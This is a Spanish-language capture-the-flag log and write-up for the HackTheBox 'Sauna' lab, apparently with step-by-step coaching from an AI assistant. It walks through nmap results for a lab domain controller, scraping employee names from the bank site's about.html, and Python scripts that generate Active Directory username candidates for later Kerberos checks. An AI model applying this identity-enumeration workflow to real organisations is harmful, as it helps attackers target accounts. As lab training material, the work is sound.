Discovered open port 5985/tcp on 10.129.95.180
Discovered open port 49688/tcp on 10.129.95.180
Discovered open port 593/tcp on 10.129.95.180
Discovered open port 49696/tcp on 10.129.95.180
Discovered open port 3269/tcp on 10.129.95.180
Discovered open port 9389/tcp on 10.129.95.180
Discovered open port 389/tcp on 10.129.95.180
Discovered open port 49668/tcp on 10.129.95.180
Discovered open port 3268/tcp on 10.129.95.180
Discovered open port 636/tcp on 10.129.95.180
Discovered open port 464/tcp on 10.129.95.180
Discovered open port 49673/tcp on 10.129.95.180
Completed SYN Stealth Scan at 12:55, 26.35s elapsed (65535 total ports)
Nmap scan report for 10.129.95.180
Host is up, received user-set (0.047s latency).
Scanned at 2026-04-23 12:55:09 CEST for 26s
Not shown: 65515 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      REASON
53/tcp    open  domain       syn-ack ttl 127
80/tcp    open  http         syn-ack ttl 127
88/tcp    open  kerberos-sec syn-ack ttl 127
135/tcp   open  msrpc        syn-ack ttl 127
139/tcp   open  netbios-ssn syn-ack ttl 127
389/tcp   open  ldap         syn-ack ttl 127
445/tcp   open  microsoft-ds syn-ack ttl 127
464/tcp   open  kpasswd5     syn-ack ttl 127
593/tcp   open  http-rpc-epmap syn-ack ttl 127
636/tcp   open  ldapssl      syn-ack ttl 127
```

```

3268/tcp open  globalcatLDAP      syn-ack ttl 127
3269/tcp open  globalcatLDAPssl    syn-ack ttl 127
5985/tcp open  wsman                syn-ack ttl 127
9389/tcp open  adws                 syn-ack ttl 127
49668/tcp open  unknown              syn-ack ttl 127
49673/tcp open  unknown              syn-ack ttl 127
49674/tcp open  unknown              syn-ack ttl 127
49676/tcp open  unknown              syn-ack ttl 127
49688/tcp open  unknown              syn-ack ttl 127
49696/tco open  unknown              svn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.51 seconds
Raw packets sent: 131063 (5.767MB) | Rcvd: 33 (1.452KB)
[] Extrayendo puertos abiertos
[] Puertos abiertos detectados: 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49673,49674,49676,49688,49696
[*] Lanzando escaneo de servicios
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-23 12:55 CEST
Nmap scan report for 10.129.95.180
Host is up (0.047s latency).

PORT      STATE SERVICE          VERSION
53/tcp    open  domain           Simple DNS Plus
80/tcp    open  http             Microsoft IIS httpd 10.0
|_ http-methods:
|_ Potentially risky methods: TRACE
|_ http-title: Egotistical Bank :: Home
|_ http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2026-04-23 17:55:43Z)
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: )
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: )
3269/tcp   open  tcpwrapped
5985/tcp   open  http             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-title: Not Found
|_ http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp   open  mc-nmf           .NET Message Framing
49668/tcp  open  msrpc            Microsoft Windows RPC
49673/tcp  open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
49674/tcp  open  msrpc            Microsoft Windows RPC
49676/tcp  open  msrpc            Microsoft Windows RPC
49688/tcp  open  msrpc            Microsoft Windows RPC
49696/tcp  open  msrpc            Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

```

Host script results:

```

| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-04-23T17:56:35
|_ start_date: N/A
|_ clock-skew: 6h59m59s

```

```

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.43 seconds
[] Resumen inicial generado en: /home/r4mon/pentest/targets/HTB/easy/SAUNA/notes/00_resumen_inicial.md
[] Siguiente paso generado en: /home/r4mon/pentest/targets/HTB/easy/SAUNA/notes/01_siguiente_paso.txt
[*] Flujo inicial completado

```

objetivo

Cerrar correctamente la fase 1 de Sauna a partir de la enumeración observada y fijar una rama principal de trabajo junto con un siguiente paso único, breve y con valor didáctico.

hechos verificados

El reconocimiento inicial deja señales muy fuertes de que el objetivo se comporta como un controlador de dominio Windows. Aparecen DNS, Kerberos, LDAP, SMB, Global Catalog, WinRM y ADWS, además de varios puertos RPC altos. Nmap identifica el host como SAUNA, el dominio como EGOTISTICAL-BANK.LOCAL, IIS 10.0 en 80/tcp y WinRM en 5985/tcp. También se observa que SMB signing está habilitado y requerido.

La web expuesta en 80/tcp no parece una página genérica sin contexto. Responde con el título Egotistical Bank :: Home, lo que conecta la identidad del dominio con una web corporativa visible. Esa relación es relevante porque une la superficie de Active Directory con una posible exposición de nombres, estructura interna o contexto organizativo desde contenido público.

suposiciones

La inferencia principal es que la superficie dominante no es una web vulnerable en sentido clásico, sino un entorno Active Directory apoyado por información pública expuesta en la web. En este punto, la web parece más una fuente de identidades que un objetivo directo de explotación.

Existe una hipótesis de trabajo razonable según la cual una página informativa del sitio podría mostrar nombres completos de empleados, y esos nombres podrían servir para derivar usuarios candidatos del dominio antes de validar Kerberos.

También queda como hipótesis secundaria que LDAP anónimo y SMB anónimo pueden comprobarse, pero sin esperar necesariamente que se conviertan en la vía dominante del caso.

Sigue pendiente de verificar si el clock skew cercano a siete horas afectará más adelante a pruebas relacionadas con Kerberos. De momento no invalida la metodología, pero conviene dejarlo anotado desde el inicio.

método

La fase 1 se cierra usando únicamente la evidencia observada en la enumeración: sistema probable, rol del host, servicios, dominio y superficie dominante.

A partir de ahí, se prioriza una verificación de bajo ruido y alto valor antes de pasar a técnicas más sensibles. No se avanza todavía hacia abuso Kerberos ni acceso remoto porque antes conviene confirmar si la web aporta nombres reales reutilizables como base para una enumeración de identidades más precisa.

respuesta

La fase 1 puede darse por suficientemente cerrada.

El hallazgo dominante ya no es simplemente que haya muchos puertos abiertos, sino algo más concreto: el objetivo presenta una huella muy consistente con un controlador de dominio Windows y, además, expone una web corporativa asociada al mismo contexto organizativo. Esa combinación orienta el caso hacia identidad, permisos y enumeración de Active Directory, no hacia una explotación web ruidosa desde el primer momento.

Por ese motivo, la rama principal activa no debería ser WEB-BASE en sentido clásico, ni tampoco SMB o WinRM por ahora. La rama principal más coherente en este momento es AD_ENUM apoyada por inteligencia pública desde la web. Kerberos, LDAP, Global Catalog y

WinRM indican que el valor del caso probablemente estará en cuentas, autenticación y permisos. La web del banco, por su parte, ofrece una vía razonable para localizar nombres reales y convertirlos después en candidatos de usuario del dominio.

Las ramas secundarias sí merecen quedar anotadas. LDAP anónimo y SMB anónimo son comprobaciones razonables, pero no dominan aún el caso. WinRM queda registrado solo como vía de validación posterior si aparecen credenciales reales. También conviene anotar el desfase horario como observación operativa importante para fases posteriores relacionadas con Kerberos.

El siguiente paso único más limpio es inspeccionar `about.html` y confirmar si expone nombres completos reutilizables para derivar usuarios del dominio. Se propone ese paso porque parte de una señal previa concreta, tiene un coste mínimo, genera muy poco ruido y, si da resultado, permite construir la siguiente decisión sobre una base real en lugar de suposiciones.

Qué hallazgo domina ahora: controlador de dominio Windows con web corporativa útil para inteligencia de identidades.

Qué rama principal sigue activa: AD_ENUM apoyada por web pública.

Qué ramas secundarias quedan anotadas: LDAP anónimo, SMB anónimo, WinRM solo para validación posterior con credenciales y anotación de `clock skew` para futuras pruebas Kerberos.

Cuál es el siguiente paso único: inspeccionar `about.html` y confirmar si expone nombres completos reutilizables para derivar usuarios del dominio.

comandos

```
curl -s http://10.129.95.180/about.html -o about.html  
grep -Eoi '[A-Z][a-z]+ [A-Z][a-z]+' about.html | sort -u
```

El primer comando se propone para validar una hipótesis muy concreta con el mínimo ruido: comprobar si la web pública expone nombres de empleados. No se ejecuta por curiosidad, sino para buscar materia prima útil para identidad en Active Directory.

El segundo no explota nada. Solo filtra posibles nombres completos del HTML para convertir una observación visual en una lista reutilizable. Lo importante no es la cantidad de coincidencias, sino si aparecen nombres plausibles y completos que permitan sostener el siguiente paso con base real.

comprobaciones

Si `about.html` devuelve nombres completos, el resultado pasará de hipótesis a hecho verificado y ya existirá una base razonable para generar convenciones de usuario y pasar a validación Kerberos.

Si `about.html` no contiene nombres o devuelve algo irrelevante, no convendrá saltar todavía a técnicas más agresivas. La reevaluación lógica será revisar de forma ligera otras páginas visibles de la web y, en paralelo, hacer una comprobación breve de LDAP/SMB anónimos como ramas secundarias.

El `clock skew` debe quedar anotado desde ya, porque aunque todavía no se esté en fase de abuso Kerberos, ese dato puede explicar fallos posteriores y evitar diagnósticos equivocados.

notas para el writeup

La enumeración inicial de Sauna no solo revela un objetivo Windows, sino que perfila con bastante claridad a un controlador de dominio. La presencia simultánea de Kerberos, LDAP, Global Catalog, WinRM y servicios RPC, unida a una web corporativa coherente con el dominio detectado, orienta la investigación hacia una cadena de Active Directory basada en identidades reales y no hacia una explotación web directa.

Lección reutilizable: cuando una máquina de Active Directory expone una web corporativa aparentemente inocente, esa web puede no ser una puerta de entrada técnica, pero sí una fuente decisiva de nombres reales, estructura organizativa y contexto. En muchos casos, el primer paso útil no es romper nada, sino leer correctamente lo que la propia organización ha publicado.

```
> curl -s http://10.129.95.180/about.html -o about.html
grep -Eoi '[A-Z][a-z]+ [A-Z][a-z]+' about.html | sort -u
about py
About Us
aliquam leo
aliquet leo
All Rights
amet eros
amet leo
amet mattis
amet pretium
Android Compatible
Apply Now
augue ac
Author URL
Auto Loan
auto text
bank account
banner bottom
bar bg
bar progress
between align
Bootstrap Web
bottom py
Bowie Taylor
brand pt
btn btn
btn mr
btn read
Business Loan
Business Reach
button type
center mt
center my
center py
Check Your
Choose Your
consectetur adipiscing
contact my
Contact Us
container contact
container py
content py
content text
Creative Commons
Credit Cards
cursus rhoncus
Customer Care
Daily Expenses
Debit Card
default read
Design by
div class
div id
DOCTYPE html
dolor efficitur
dolor sit
```


Donec malesuada
Drop Down
dui turpis
Duis nisi
Education Loan
Egotistical Bank
elementum finibus
erat sit
ex sit
fa clr
fa fa
felis dapibus
Fergus Smith
fermentum eget
Financial Services
Find us
finibus lorem
finibus sed
First Tier
Fixed Deposit
Flat Web
flex justify
fluid image
footer bottom
footer class
footer text
for Nokia
form method
form mx
free webdesigns
function hideURLbar
Fusce semper
gd mt
Get Your
grid mt
grid test
grids row
grids text
Health Loan
Helping Your
Home Loan
html lang
Hugo Bear
img mt
img src
in convallis
inf pl
info list
info text
inner py
input type
Integer sit
Integer ultrices
ipsum sit
Its Full
label for
Latest Posts
left mb
left pl
left text
li class
li mt
libero aliquam
License URL
link href
link rel
Loan Management
Lorem ipsum
ls mb
ls mt
ls my
ls two
luctus massa

malesuada sedint
managers but
massa eu
Mauris hendrerit
Meet the
Meet The
meta charset
meta name
Meta tag
Motorola web
nsequorsu dsdesdc
Nulla congue
Nullam dui
of Banking
one mt
Onec consequat
Online Marketing
only one
Our Mission
Our Skills
Our Team
para col
Personal Banking
Personal Loan
Phasellus sed
Praesent ullamcorper
pretium metus
Previous Record
Privacy Policy
products py
pvt ml
pvt py
pvt serve
Quisque vitae
re Provided
Read More
recycle mr
Repay Responsive
Repayable in
right col
right ml
right mt
right text
row bottom
row footer
row products
row subscribe
sapient ut
Savings Account
scelerisque tellus
sec page
section class
security manager
services about
Services we
Shaun Coins
sid ornare
Simple Websites
Single Page
sit amet
Small Business
Smartphone Compatible
So many
Social Media
Sophie Driver
Sounds about
span class
Steven Kerb
Suspendisse porta
Suspendisse venenatis
toggle toggle
top text
ul class

```
ultricies velit  
unstyled mt  
utpretium nulla  
vel ex  
web template  
welcome py  
What We  
wide range  
xxx Honey  
Your Email
```

objetivo

Analizar la salida obtenida de `about.html`, separar señal útil de ruido y decidir el siguiente paso único con base en evidencia real.

hechos verificados

La página `about.html` existe, responde y contiene texto suficiente como para extraer contenido semiestructurado.

La expresión regular utilizada ha devuelto mucho ruido, pero dentro de la salida aparecen varios nombres propios con formato claramente plausible de personas:

- 1 Fergus Smith
- 1 Bowie Taylor
- 1 Hugo Bear
- 1 Shaun Coins
- 1 Sophie Driver
- 1 Steven Kerb

Eso convierte en hecho verificado que la web pública expone nombres completos reutilizables como base para una rama de identidad.

También queda verificado que el filtro usado es demasiado amplio para este caso, porque mezcla nombres reales con gran cantidad de texto decorativo, clases CSS, frases de plantilla y cadenas sin valor operativo.

suposiciones

La inferencia principal es que esos nombres pertenecen a empleados o perfiles corporativos mostrados en la web y que, por tanto, son buenos candidatos para derivar convenciones de usuario del dominio.

La inferencia secundaria es que la página probablemente contiene una sección tipo "team" o similar, y que extraer los nombres de forma más limpia mejorará la trazabilidad del caso y reducirá errores en la siguiente fase.

Todavía está pendiente de verificar qué convención de nombres usa realmente el dominio para las cuentas: nombre simple, inicial+apellido, nombre.apellido u otra variante.

método

Primero se separa la evidencia útil del ruido generado por una expresión regular demasiado genérica.

Después se conserva únicamente la parte con valor para Active Directory: los nombres completos plausibles.

Con esa base, el siguiente paso no debe ser todavía forzar servicios ni abrir varias ramas a la vez, sino construir una lista limpia de identidades candidatas para poder pasar luego a validaciones controladas sobre naming convention.

respuesta

La prueba ha salido bien y, además, ha servido para algo importante: ya no se trabaja sobre una intuición, sino sobre una evidencia concreta. La web pública expone varios nombres completos que encajan perfectamente con una futura fase de enumeración de identidades en Active Directory.

El resultado útil no es toda la salida del grep, porque casi todo eso es basura de plantilla HTML. Lo valioso de verdad son los seis nombres que destacan claramente como personas reales:

- 1 Fergus Smith
- 1 Bowie Taylor
- 1 Hugo Bear
- 1 Shaun Coins
- 1 Sophie Driver
- 1 Steven Kerb

Ese hallazgo cambia la situación. La web deja de ser una superficie meramente informativa y pasa a ser una fuente real de inteligencia de identidades. Eso refuerza que la rama principal siga siendo AD enum apoyada por información pública.

Ahora mismo no interesa saltar todavía a LDAP, SMB o WinRM como vías principales. Tampoco interesa encadenar varias comprobaciones a la vez. Lo más limpio es consolidar primero una lista de nombres reales bien curada y, a partir de ahí, derivar convenciones de usuario plausibles.

Qué hallazgo domina ahora: la web pública expone nombres completos útiles para derivar identidades del dominio.

Qué rama principal sigue activa: AD enum apoyada por inteligencia pública desde la web.

Qué ramas secundarias quedan anotadas: LDAP anónimo, SMB anónimo, WinRM para validación posterior si aparecen credenciales, y observación del clock skew para fases posteriores relacionadas con Kerberos.

Cuál es el siguiente paso único: guardar una lista limpia de nombres reales y dejarla preparada para generar usuarios candidatos.

comandos

```
printf '%s\n' \  
'Fergus Smith' \  
'Bowie Taylor' \  
'Hugo Bear' \  
'Shaun Coins' \  
'Sophie Driver' \  
'Steven Kerb' > fullnames.txt  
  
cat fullnames.txt
```

El motivo de este paso es muy concreto: antes de derivar usuarios candidatos conviene fijar una base limpia y libre de ruido. La señal previa que lleva a hacerlo es que el grep ya confirmó nombres reales, pero mezclados con demasiadas coincidencias irrelevantes.

El primer comando no explota nada ni toca el objetivo. Solo convierte la observación útil en un artefacto de trabajo limpio. El segundo sirve para verificar que la lista quedó bien guardada y sin errores de transcripción.

Lo que interesa de verdad en la salida es confirmar que la lista contiene únicamente nombres plausibles y completos. Si aparece ruido, la siguiente fase se contamina; si la lista está limpia, la derivación de usuarios tendrá mucha más calidad.

comprobaciones

Comprobar que `fullnames.txt` contenga solo los nombres reales y no cadenas decorativas del HTML.

Verificar que no haya duplicados ni errores obvios de copia.

Dejar anotado que, a partir de este punto, lo siguiente ya no será "buscar nombres", sino "evaluar qué convención de cuentas podría usar el dominio con esos nombres".

notas para el writeup

La revisión de `about.html` permitió transformar una web aparentemente corporativa en una fuente práctica de inteligencia para Active Directory. Aunque la extracción inicial devolvió mucho ruido por el patrón usado, entre ese ruido aparecieron varios nombres completos plausibles de empleados, suficientes para justificar una rama centrada en derivación de identidades.

Lección reutilizable: en entornos Windows con señales de dominio, una web pública puede aportar mucho valor incluso sin vulnerabilidades visibles. El objetivo inicial no siempre es encontrar una falla técnica, sino reunir nombres reales que luego permitan construir una enumeración de identidades mucho más precisa.

```
> printf '%s\n'  
'Fergus Smith'  
'Bowie Taylor'  
'Hugo Bear'  
'Shaun Coins'  
'Sophie Driver'  
'Steven Kerb' > fullnames.txt
```

```
cat fullnames.txt
```

```
| File: fullnames.txt
```

```
1 | Fergus Smith  
2 | Bowie Taylor  
3 | Hugo Bear  
4 | Shaun Coins  
5 | Sophie Driver  
6 | Steven Kerb
```

objective

Registrar correctamente el artefacto de trabajo generado y dejar preparado el siguiente paso de la rama de identidades en Sauna.

verified facts

El archivo `fullnames.txt` ha quedado creado correctamente y contiene seis nombres completos plausibles:

- 1 Fergus Smith
- 1 Bowie Taylor

- 1 Hugo Bear
- 1 Shaun Coins
- 1 Sophie Driver
- 1 Steven Kerb

La ubicación real del archivo ya está verificada:

```
/home/r4mon/pentest/targets/HTB/easy/SAUNA/content/users/fullnames.txt
```

La lista está limpia, sin ruido HTML, sin duplicados visibles y con formato adecuado para reutilizarla en la siguiente fase.

assumptions

La inferencia principal es que esta lista ya puede considerarse una base operativa válida para derivar convenciones de nombre de usuario del dominio.

También es razonable asumir que el siguiente paso útil no es seguir buscando más nombres, sino transformar estos nombres completos en candidatos de cuenta con patrones habituales de Active Directory.

method

Primero se consolida la evidencia útil en un archivo limpio y bien ubicado dentro de `content/users`, que es una ruta coherente para artefactos operativos relacionados con identidades.

Después, en lugar de abrir varias ramas a la vez, se mantiene una sola línea de trabajo: pasar de nombres completos a posibles nombres de usuario.

answer

Perfecto. Así está bien guardado.

La ubicación es buena y tiene lógica operativa:

```
/home/r4mon/pentest/targets/HTB/easy/SAUNA/content/users/fullnames.txt
```

Eso deja la fase actual bien cerrada: la web ya ha aportado una lista de identidades plausibles y esa evidencia ya está convertida en un artefacto limpio reutilizable.

Qué hallazgo domina ahora: la web pública ya ha producido nombres completos útiles para derivar identidades del dominio.

Qué rama principal sigue activa: AD enum apoyada por inteligencia pública desde la web.

Qué ramas secundarias quedan anotadas: LDAP anónimo, SMB anónimo, WinRM para validación posterior si aparecen credenciales, y observación del clock skew para futuras pruebas Kerberos.

Cuál es el siguiente paso único: generar, a partir de `fullnames.txt`, una lista de nombres de usuario candidatos con convenciones típicas de dominio.

commands

```
cd /home/r4mon/pentest/targets/HTB/easy/SAUNA/content/users
```

Este paso no busca descubrir nada nuevo, sino fijar el contexto correcto de trabajo antes de generar los candidatos de usuario desde el archivo ya validado.

checks

Comprobar que futuras salidas derivadas de este archivo se guarden también en `content/users` para mantener juntas las evidencias de identidad.

Mantener `fullnames.txt` como fuente base y no sobrescribirlo, para conservar trazabilidad entre nombres reales observados y nombres de usuario derivados.

writeup notes

La revisión de la web pública permitió obtener una lista limpia de nombres completos y convertir una observación visual en un artefacto operativo reutilizable. A partir de ese momento, la investigación deja de depender de intuiciones y pasa a apoyarse en identidades concretas extraídas del entorno objetivo.

objetivo

Pasar de nombres reales observados en la web a una lista limpia de nombres de usuario candidatos, sin tocar todavía servicios de autenticación ni abrir ramas paralelas.

hechos verificados

El archivo base ya existe y está bien ubicado en:

```
/home/r4mon/pentest/targets/HTB/easy/SAUNA/content/users/fullnames.txt
```

Ese archivo contiene seis nombres completos plausibles y útiles para trabajar la rama de identidades.

El operador ya está situado en el directorio correcto de trabajo:

```
/home/r4mon/pentest/targets/HTB/easy/SAUNA/content/users
```

suposiciones

La hipótesis de trabajo más razonable es que el dominio use una convención típica de Active Directory para las cuentas de usuario, por ejemplo:

- 1 nombre
- 1 apellido
- 1 nombre.apellido
- 1 inicial+apellido
- 1 nombre+inicial apellido

Todavía no está verificado cuál de esas convenciones usa realmente el dominio. Por eso, el siguiente paso correcto no es probar autenticación aún, sino generar primero una lista ordenada de candidatos.

método

Se mantiene `fullnames.txt` como fuente limpia y se genera un segundo archivo derivado con posibles nombres de usuario.

Se evita introducir herramientas innecesarias en este punto. La derivación se hace de forma local, reproducible y con poco ruido, para que la siguiente fase parta de un artefacto claro y revisable.

respuesta

El siguiente paso único correcto es generar una lista de usuarios candidatos a partir de `fullnames.txt`.

La razón es simple: ya existe evidencia suficiente de nombres reales, pero todavía no existe evidencia de la convención de cuentas usada por el dominio. Antes de validar nada contra Kerberos o LDAP, conviene construir una lista razonable de candidatos y dejarla guardada como artefacto operativo.

Qué hallazgo domina ahora: la web pública ya ha proporcionado identidades plausibles.

Qué rama principal sigue activa: AD enum apoyada por inteligencia pública desde la web.

Qué ramas secundarias quedan anotadas: LDAP anónimo, SMB anónimo, WinRM para una fase posterior si aparecen credenciales, y observación del clock skew para futuras validaciones con Kerberos.

Cuál es el siguiente paso único: generar `usernames.txt` a partir de `fullnames.txt`.

comandos

```
python3 - <<'PY'
from pathlib import Path

src = Path("fullnames.txt")
dst = Path("usernames.txt")

seen = set()
order = []

for line in src.read_text(encoding="utf-8").splitlines():
    name = line.strip()
    if not name:
        continue
    parts = name.lower().split()
    if len(parts) < 2:
        continue

    first = parts[0]
    last = parts[-1]

    candidates = [
        first,
        last,
        f"{first}.{last}",
        f"{first}{last}",
        f"{first}_{last}",
        f"{first[0]}{last}",
        f"{first}{last[0]}",
        f"{first[0]}.{last}",
        f"{last}.{first}",
        f"{last}{first[0]}",
    ]

    for candidate in candidates:
        if candidate not in seen:
            seen.add(candidate)
            order.append(candidate)

dst.write_text("\n".join(order) + "\n", encoding="utf-8")
print(f"[+] Guardados {len(order)} candidatos en {dst}")
PY

head -n 30 usernames.txt
```

Este bloque se propone porque la señal previa ya existe: hay nombres reales y limpios. Lo que falta no es más recolección, sino transformar esa evidencia en usuarios candidatos con patrones habituales.

Qué hace: lee `fullnames.txt`, genera varias convenciones comunes de cuenta, elimina duplicados y guarda el resultado en `usernames.txt`.

Qué se espera obtener: una lista compacta y reutilizable de nombres de usuario plausibles, lista para la siguiente fase.

Qué parte de la salida interesa de verdad: confirmar que aparecen patrones lógicos como fsmith, fergus.smith, fergussmith, sdriver, skerb, etc., y que el archivo se crea sin ruido.

Cómo cambia la decisión siguiente: si la lista queda bien, la siguiente fase ya podrá centrarse en una validación controlada de naming convention o de exposición Kerberos, en lugar de seguir inventando usuarios a mano.

comprobaciones

Comprobar que usernames.txt se haya creado en el directorio actual.

Revisar visualmente las primeras líneas para confirmar que no aparecen espacios, mayúsculas extrañas ni cadenas vacías.

Mantener fullnames.txt intacto como fuente original y usar usernames.txt como artefacto derivado para la siguiente fase.

notas para el writeup

Una vez obtenidos nombres reales desde la web pública, el paso metodológicamente correcto no es probar acceso de inmediato, sino convertir esa evidencia en una lista estructurada de posibles cuentas. Eso permite que la siguiente validación sobre Kerberos o servicios de directorio parta de identidades plausibles y no de suposiciones improvisadas.

Lección reutilizable: en entornos Active Directory, una lista limpia de nombres completos solo es el principio. El valor real aparece cuando se traduce esa información pública a convenciones de cuenta probables y se documenta esa transición con trazabilidad.

Ejecutamos el bloque y revisamos la salida

```
head -n 30 usernames.txt
[+] Guardados 60 candidatos en usernames.txt
fergus
smith
fergus.smith
fergussmith
fergus_smith
fsmith
ferguss
f.smith
smith.fergus
smithf
bowie
taylor
bowie.taylor
bowietaylor
bowie_taylor
btaylor
bowiet
b.taylor
taylor.bowie
taylorb
hugo
bear
hugo.bear
hugobear
hugo_bear
hbear
hugob
h.bear
```

```
bear.hugo  
bearh
```

objetivo

Analizar la calidad de usernames.txt, separar candidatos plausibles de candidatos ruidosos y preparar una lista priorizada para la siguiente validación de identidades.

hechos verificados

El archivo usernames.txt se ha generado correctamente y contiene 60 candidatos derivados de los seis nombres completos.

La salida confirma que la derivación funciona y que incluye patrones típicos de cuenta de dominio, entre ellos:

- 1 fsmith
- 1 fergus.smith
- 1 fergussmith
- 1 btaylor
- 1 hbear

También se ve que el fichero mezcla patrones muy plausibles con otros bastante flojos o de poco valor operativo, por ejemplo:

- 1 fergus
- 1 bowiet
- 1 hugob

Eso significa que la generación ha sido útil, pero todavía no conviene tratar los 60 candidatos como igual de buenos.

suposiciones

La suposición más razonable es que el dominio probablemente use una convención corporativa relativamente simple y repetible, no una combinación arbitraria de todas las variantes posibles.

En un entorno así, los patrones que normalmente merecen más atención inicial son:

- 1 nombre.apellido
- 1 inicialapellido
- 1 nombreapellido
- 1 nombre_apellido

Los candidatos formados como nombre + inicial del apellido o variantes invertidas suelen tener menos valor inicial y meten más ruido del necesario.

método

Primero se valida que el artefacto derivado se haya creado bien.

Después se reduce el conjunto a una lista priorizada, más corta y más coherente con convenciones corporativas habituales.

La idea no es tirar información, sino separar una primera tanda de candidatos fuertes para que la siguiente validación sea más limpia y tenga mejor trazabilidad.

respuesta

La salida es buena, pero todavía no es la lista con la que conviene avanzar directamente.

Lo importante no es que haya 60 candidatos, sino que entre ellos ya aparecen varias convenciones muy sólidas. Eso confirma que la transición de nombres reales a cuentas plausibles se ha hecho bien. El problema es que la lista mezcla señal con demasiado relleno.

Ahora mismo no interesa seguir ampliando el número de variantes. Interesa hacer lo contrario: priorizar.

La decisión correcta en este punto es preparar una lista reducida con las convenciones que tienen más sentido en un dominio corporativo. Así se evita ruido innecesario y se deja la siguiente validación mucho más limpia.

Qué hallazgo domina ahora: ya existen candidatos de usuario plausibles derivados de nombres reales observados.

Qué rama principal sigue activa: AD enum apoyada por inteligencia pública desde la web.

Qué ramas secundarias quedan anotadas: LDAP anónimo, SMB anónimo, WinRM para una fase posterior si aparecen credenciales y observación del clock skew para futuras validaciones relacionadas con Kerberos.

Cuál es el siguiente paso único: generar una lista priorizada de candidatos de usuario con los patrones más plausibles.

comandos

```
python3 - <<'PY'
from pathlib import Path

src = Path("fullnames.txt")
dst = Path("usernames_priority.txt")

seen = set()
order = []

for line in src.read_text(encoding="utf-8").splitlines():
    name = line.strip()
    if not name:
        continue
    parts = name.lower().split()
    if len(parts) < 2:
        continue

    first = parts[0]
    last = parts[-1]

    candidates = [
        f"{first}.{last}",
        f"{first}{last}",
        f"{first}_{last}",
        f"{first[0]}{last}",
    ]

    for candidate in candidates:
        if candidate not in seen:
            seen.add(candidate)
            order.append(candidate)

dst.write_text("\n".join(order) + "\n", encoding="utf-8")
print(f"[+] Guardados {len(order)} candidatos prioritarios en {dst}")
PY

cat usernames_priority.txt
```

Se propone este paso porque la señal previa ya existe: hay nombres reales y ya se generó una lista amplia de usuarios candidatos. Lo que falta ahora es ordenar la calidad de esa información antes de seguir.

Qué hace: toma `fullnames.txt`, genera solo los formatos más plausibles y los guarda en `usernames_priority.txt`.

Qué se espera obtener: una lista más pequeña, más limpia y más realista para una primera validación de identidades.

Qué parte de la salida interesa de verdad: confirmar que aparezcan candidatos como:

```
1 fergus.smith
1 fergussmith
1 fergus_smith
1 fsmith
```

y sus equivalentes para los demás nombres.

Cómo cambia la decisión siguiente: si esa lista queda bien, el siguiente paso ya podrá centrarse en una validación controlada de usuarios candidatos, en lugar de seguir trabajando con una lista demasiado ruidosa.

comprobaciones

Comprobar que `usernames_priority.txt` se crea en el directorio actual.

Verificar visualmente que la lista es más corta y que ya no aparecen variantes flojas como `ferguss`, `bowiet` o `hugob`.

Comprobar que cada nombre base aporta cuatro variantes y que no se han perdido candidatos fuertes como `fsmith` o `sdriver`.

Mantener `usernames.txt` como lista amplia y `usernames_priority.txt` como lista de trabajo priorizada.

notas para el writeup

La derivación inicial de usuarios candidatos cumplió su función: transformar nombres reales en posibles cuentas del dominio. Sin embargo, no todas las variantes generadas tienen el mismo valor. El paso metodológicamente correcto no es probar todo sin filtrar, sino separar primero las convenciones más plausibles para reducir ruido y mejorar la calidad de la validación posterior.

Lección reutilizable: en Active Directory, generar muchas variantes no siempre mejora la enumeración. A menudo, una lista más pequeña pero mejor priorizada da mejores resultados y deja una trazabilidad mucho más clara.

Ejecutamos el bloque y revisamos la salida

```
cat usernames_priority.txt
[+] Guardados 24 candidatos prioritarios en usernames_priority.txt

| File: usernames_priority.txt
|
1 | fergus.smith
2 | fergussmith
3 | fergus_smith
4 | fsmith
5 | bowie.taylor
6 | bowietaylor
```

```
7 | bowie_taylor
8 | btaylor
9 | hugo.bear
10 | hugobear
11 | hugo_bear
12 | hbear
13 | shaun.coins
14 | shauncoins
15 | shaun_coins
16 | scoins
17 | sophie.driver
18 | sophiedriver
19 | sophie_driver
20 | sdriver
21 | steven.kerb
22 | stevenkerb
23 | steven_kerb
24 | skerb
```

objetivo

Determinar el siguiente paso correcto a partir de la lista priorizada de usuarios candidatos, minimizando ruido y evitando validaciones Kerberos engañosas por un posible problema de desfase horario.

hechos verificados

El archivo `usernames_priority.txt` se ha generado correctamente y contiene 24 candidatos priorizados, con cuatro variantes por cada nombre completo observado en la web.

La lista tiene buena calidad operativa. Incluye patrones muy plausibles para un entorno Active Directory corporativo, como:

```
1 fsmith
1 btaylor
1 hbear
1 scoins
1 sdriver
1 skerb
```

y también variantes razonables como:

```
1 fergus.smith
1 bowie.taylor
1 hugo.bear
1 shaun.coins
1 sophie.driver
1 steven.kerb
```

La fase de derivación de identidades puede considerarse cerrada: ya existe una lista corta, limpia y priorizada para pasar a validación.

También sigue vigente una observación importante de la fase inicial: hay indicios de un clock skew notable entre el entorno atacante y el controlador de dominio.

suposiciones

La suposición principal es que una de las convenciones incluidas en `usernames_priority.txt` coincide con el patrón real de cuentas del dominio.

La segunda suposición, más importante para el siguiente paso, es que cualquier validación basada en Kerberos puede fallar o producir resultados confusos si el desfase horario no se comprueba antes.

